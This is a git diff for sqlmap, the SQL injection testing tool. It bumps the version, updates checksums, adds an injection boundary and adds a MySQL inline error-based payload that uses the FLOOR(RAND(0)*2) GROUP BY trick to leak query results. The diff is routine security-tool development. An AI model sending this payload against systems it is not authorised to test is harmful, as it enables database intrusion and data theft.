diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index 548ea032d..cfc65c7ad 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -75,10 +75,10 @@ c6be099a5dee34f3a7570715428add2e7419f4e73a7ce9913d3fb76eea78d88e  data/udf/postg
 a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea  data/xml/banner/sharepoint.xml
 e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18  data/xml/banner/x-aspnet-version.xml
 75672f8faa8053af0df566a48700f2178075f67c593d916313fcff3474da6f82  data/xml/banner/x-powered-by.xml
-3f9d2b3c929cacd96394d190860adc0997c9c7665020073befc69f65e5deb393  data/xml/boundaries.xml
+1ac399c49ce3cb8c0812bb246e60c8a6718226efe89ccd1f027f49a18dbeb634  data/xml/boundaries.xml
 130eef6c02dc5749f164660aa4210f75b0de35aaf2afef94b329bb1e033851f7  data/xml/errors.xml
 cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1  data/xml/payloads/boolean_blind.xml
-c22d076af9e8518f3b44496aee651932edf590ea4be0b328262314fcb4a52da8  data/xml/payloads/error_based.xml
+f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf  data/xml/payloads/error_based.xml
 b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609  data/xml/payloads/inline_query.xml
 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689  data/xml/payloads/stacked_queries.xml
 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1  data/xml/payloads/time_blind.xml
@@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353  lib/core/profi
 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355  lib/core/replication.py
 bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726  lib/core/revision.py
 eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96  lib/core/session.py
-81b3cea1cc1a94554e5bbcb162ed1d277cb737da7fc7d7c163ca479126eed7d1  lib/core/settings.py
+aa27be9ed0b4a829391a0b6273ccd51e32329d30f7a3d055a3dee705d1c14a01  lib/core/settings.py
 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4  lib/core/shell.py
 e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8  lib/core/subprocessng.py
 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd  lib/core/target.py
diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml
index fb41a83c0..20bf0d103 100644
--- a/data/xml/boundaries.xml
+++ b/data/xml/boundaries.xml
@@ -554,6 +554,15 @@ Formats:
     </boundary>
     <!-- End of escaped column name boundaries -->
 
+    <boundary>
+        <level>5</level>
+        <clause>7</clause>
+        <where>1</where>
+        <ptype>3</ptype>
+        <prefix> [RANDSTR1],</prefix>
+        <suffix> [RANDSTR2]</suffix>
+    </boundary>
+
     <!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
     <boundary>
         <level>4</level>
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index 9b1d2725f..0d717f961 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -221,6 +221,26 @@
         </details>
     </test>
 
+    <test>
+        <title>MySQL &gt;= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>7</clause>
+        <where>1</where>
+        <vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
+        <request>
+            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt;= 5.0</dbms_version>
+        </details>
+    </test>
+
     <test>
         <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
         <stype>2</stype>
diff --git a/lib/core/settings.py b/lib/core/settings.py
index b197676f3..0b339e9bc 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -19,7 +19,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.8.6.5"
+VERSION = "1.8.6.6"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)